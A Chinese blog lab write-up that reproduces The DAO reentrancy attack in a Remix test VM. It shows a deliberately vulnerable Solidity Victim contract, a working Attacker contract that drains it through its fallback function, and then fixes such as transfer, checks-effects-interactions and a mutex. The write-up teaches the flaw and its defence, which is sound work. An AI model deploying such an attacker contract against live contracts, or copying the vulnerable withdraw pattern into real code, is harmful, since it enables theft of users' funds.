Re-Entrancy 攻击模拟——The DAO 事件复现与分析

本文最后更新于 2023年3月3日 下午

对区块链经典安全事件——The DAO 事件的 Re-Entrancy 攻击模拟

Re-Entrancy 攻击模拟——The DAO 事件复现与分析

实验概述

攻击背景

  • The DAO 成立于 2016 年 5 月,是一个基于以太坊网络、以众筹为目的的去中心化自治组织。The DAO 众筹最大的特征是速度快,交易规模和速度远远快于一般的互联网众筹,在成立之初的短短 1 个月之内就筹集了超过 1.5 亿个以太币。因此,The DAO 是当时最大的众筹项目。
  • 然而,The DAO 的智能合约代码存在递归调用漏洞的问题,因此,黑客可以借此发动 Re-Entrancy 攻击。黑客不停地从The DAO 资金池里分离资产并在调用结束前,把盗来的The DAO资产转移到了其他账户,避免了被销毁。黑客利用这两个漏洞,进行了两百多次攻击,总共盗走了 360 万的以太币,超过了该项目筹集的以太币总数目的三分之一。
  • 由于参与 The DAO 的 ETH 总额占 ETH 总流通量的 30% 以上,ETH 社区不得不采取比中心化机构还更加“中心化”的方式对用户金额进行补救,也就是将 ETH 硬分叉为新的 ETH 和 ETC。这一事件史称为 The DAO 事件。

攻击原理

  • Gas:一经创建,每笔交易都收取一定数量的 gas ,目的是限制执行交易所需要的工作量和为交易支付手续费。EVM 执行交易时,gas 将按特定规则逐渐耗尽。

    gas price 是交易发送者设置的一个值,发送者账户需要预付的手续费。如果交易执行后还有剩余, gas 会原路返还。

    无论执行到什么位置,一旦 gas 被耗尽,将会触发一个 out-of-gas 异常。当前调用帧所做的所有状态修改都将被回滚。

  • 转 ETH 操作

    • call

      • 原型:<address>.call(...) returns (bool)
      • address(被调用合约)的身份 调用 address 内的函数,默认情况下将所有可用的 gas 传输过去,gas 传输量可调。执行失败时返回false
    • send

      • 原型:<address>.send(uint256 amount) returns (bool)

      • address发送 amount 数量的 Wei如果执行失败返回 false。发送的同时传输 2300gasgas 数量不可调整

    • transfer

      • 原型:<address>.transfer(uint256 amount)
      • address发送 amount 数量的 Wei如果执行失败则 throw。发送的同时传输 2300gasgas 数量不可调整
  • fallback function 回退函数:每一个合约有且仅有一个没有名字的函数。这个函数无参数,也无返回值。如果调用合约时,没有匹配上任何一个函数(或者没有传哪怕一点数据),就会调用默认的回退函数。此外,当合约收到 ether 时(没有任何其它数据),这个函数也会被执行。

  • 以太坊智能合约能够调用和利用其他外部合约的代码。合约通常也处理以太币,因此将以太币发送到各种外部用户地址。调用外部合约或将以太币发送到地址的操作要求合约提交外部调用。这些外部调用可以被攻击者劫持,从而迫使合约执行更多的代码(即通过 fallback function 回退函数),包括回调原合约本身。

攻击流程

  • 对于一个能够正常存钱和取钱的合约 Victim,利用其地址构建相应攻击合约 Attacker
  • Attacker 合约调用其攻击函数 Attack,该函数需要附上一定的 ether 作为存入资金存入到 Vitcim
  • Attack 函数申请取出存入的 etherVitcimAttack 函数发送相应的 ether,但是此时仍然在 Attack 函数中,Victim 还没有改变存款记录
  • 由于 Attacker 收到了 ether,所以会调用 fallback function,继续申请取出存入的 etherVitcimAttack 函数发送相应的 ether同样Victim 还没有改变存款记录
  • 而上述步骤会一直进行下去,直到达到 Attacker 提前设置好的攻击次数
  • 攻击者提出储存在 Attacker 中的 ether 即可完成攻击

攻击效果

  • 在正常情况下,用户最多只能够取出自己在 Victim 上记录的 ether 数目;如果发送的取出数目大于记录数目,那么无法取出任何 ether
  • 而攻击者利用 Attacker,可以不断地取出 ether,直到整个 Vitcim 合约上的 ether 数目为 0

实验内容

实验条件

  • 本实验基于 Remix Ethereum IDE,采用的编译版本是 0.4.26+commit.4563c3fc,测试环境是 Javascript VM

实验设置

  • Vitcim 合约如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract Victim{
//账本
mapping(address=>uint256)public balances;
//查看账本
function balanceOf(address addr)public view returns (uint balance){
return balances[addr];
}

//收钱记账
function donate(address to)public payable{
balances[to]+=msg.value;
}
//提款
function withdraw(uint amount)public{
if(balances[msg.sender]>=amount){
//关键
msg.sender.call.value(amount)();
balances[msg.sender]-=amount;
}
}
//总账
function thisBalance()public view returns(uint balance){
return this.balance;
}
}
  • A 账号部署 Vitctim 合约
  • A 账号存入 Victim 合约 50 ether
  • A 账号提取 51 ether 失败
  • A 账号提取 1 ether 成功
  • 这是正常工作状态下的 Victim 合约,可以看到,此时合约能够进行正常的存取和记账

实验过程

  • 攻击 payload 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
contract Attacker{

//受害地址
address vAddr;

//受害者
Victim v;

//拥有者地址拥有钱拥有者这
address owner;

//攻击次数
uint attackCount;


constructor(address addr) public {
vAddr=addr;
owner = msg.sender;
}

function attack()public payable{
attackCount=0;
v=Victim(vAddr);
v.donate.value(msg.value)(this);
v.withdraw(0);
}

function () public payable{
if(msg.sender==vAddr&&attackCount<10){
attackCount+=1;
uint sum=v.balanceOf(this);
//不足则全提款
if(sum>v.balance){
if(v.balance!=0){
v.withdraw(v.balance);
}
return;
}
v.withdraw(sum);
}
}


function getJackpot()public{
owner.transfer(this.balance);
}
}
  • B 账号根据 Victim 合约地址部署 Attacker 合约
  • B 账号发动攻击,附上 5 ether
  • B 账号提取出攻击得到的币,注意 B 账号变成了 144.9999999 ether
  • 攻击后,B 账户取出了不属于 B 账户的钱

实验结论

  • 对比攻击前后,账户从仅能取出账面记录的钱变成了可以无限制取出合约的钱,说明攻击成功

实验分析

  • 从上述实现现象中,可以看出 Re-Entrancy 攻击的可怕之处,下面逆向思考如何来修补漏洞,防止此类攻击

  • ether 发送到外部合约时使用内置的 transfer函数。transfer函数仅发送 2300 Gas 给外部调用,这不足以使目的地址合约调用另一个合约(即重入原合约)

    1
    msg.sender.call.value(amount)();

    变成

    1
    msg.sender.transfer(amount);
  • Victim 账户是先转钱给 Attack 然后修改记录,而 Re-Entrancy 攻击使得上述步骤仅仅进行到转钱而不修改记录,因此一种可行的修改方法是,先记录,再转账

    1
    2
    msg.sender.call.value(amount)();
    balances[msg.sender]-=amount;

    修改成

    1
    2
    balances[msg.sender]-=amount;            
    msg.sender.call.value(amount)();

    但是,这里仍然存在一个新问题:如果提现失败,交易并不会回滚,此时 balances[msg.sender] 已清空

    所以,应该采用 checks-effects-interactions 模式,使用 require 语句进行检查

  • 引入互斥锁,保证仅仅在必须要在记账完成之后才能再次取钱


Re-Entrancy 攻击模拟——The DAO 事件复现与分析
https://justloseit.top/Re-Entrancy 攻击模拟——The DAO 事件复现与分析/
作者
Mobilis In Mobili
发布于
2020年12月31日
更新于
2023年3月3日
许可协议